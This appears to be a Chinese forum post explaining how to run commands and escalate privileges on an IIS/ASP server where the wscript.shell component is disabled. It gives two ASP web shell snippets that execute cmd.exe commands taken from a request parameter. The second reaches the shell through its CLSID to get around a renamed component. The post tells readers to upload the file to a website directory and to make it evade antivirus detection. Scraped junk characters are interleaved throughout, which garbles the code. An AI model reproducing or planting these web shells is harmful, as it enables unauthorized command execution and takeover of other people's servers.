没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  6 a' ^( U" ]# l, Z5 c+ k  J
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  & j+ v) a$ M0 [0 E2 l% ?7 ?  v
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  ) V/ ]2 U7 }& ]/ H
• 把下面代码复制：
  
• <%
  
• end if
  
• response.write(”")
  + s0 \8 f$ ?' b1 f! ^( H) M
• On Error Resume
  
• Next
  ) f$ X" l8 d) `% R4 H8 b
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  
• response.write(”")
  & _/ f1 E& {0 h2 U/ c" j
• response.write(”")
  
• response.write(”
  : z4 {' @. u; T6 \
• “)
  - b" T1 W0 O" ]
• response.write(”")
  1 e% y" A6 u* a
• %>
  4 D& a, P: x5 o% h( @  n; l
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  3 b7 R4 Q8 m# Q( _1 n
• <object runat=server id=oScriptlhn scope=page
  
• 
  * Q) Y) w  ]4 x0 A3 C+ o1 c' ~
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  & `/ {$ q1 k- D) C
• <%if err then%>
  1 |' O( P& Q, N$ b# ~& u
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  - ?: J$ l- z' z4 q
• <%
  # y" m3 ^" _4 v: C% u: j) N
• end if
  
• response.write(”<textarea readonly cols=80
  2 {* z1 X& k& e# e
• 
  . r2 l2 u5 Q' {. |+ H! P* N
• rows=20>”)
  
• On Error Resume Next
  
• response.write
  
• 
  # J. l9 t$ @$ q% q2 ~' q% M$ L
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  # K5 S- U8 {2 A) c. Y
• response.write(”<form
  " ~! @, N, G/ \/ N
• 
  , g9 t  B. K( n
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  
• 
  ; D; D  C' O: K0 }2 j
• size=60><br>”)
  * B- R4 T4 J* r) u% a
• response.write(”<input type=submit
  
• 
  8 c( c7 C1 j. Z7 f; b: l) }4 J
• value=’执行’></form>”)
  
• %>
  2 E& u3 F. v% X4 ^# T1 z2 r
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  ) K% L$ f( N& s! Z

复制代码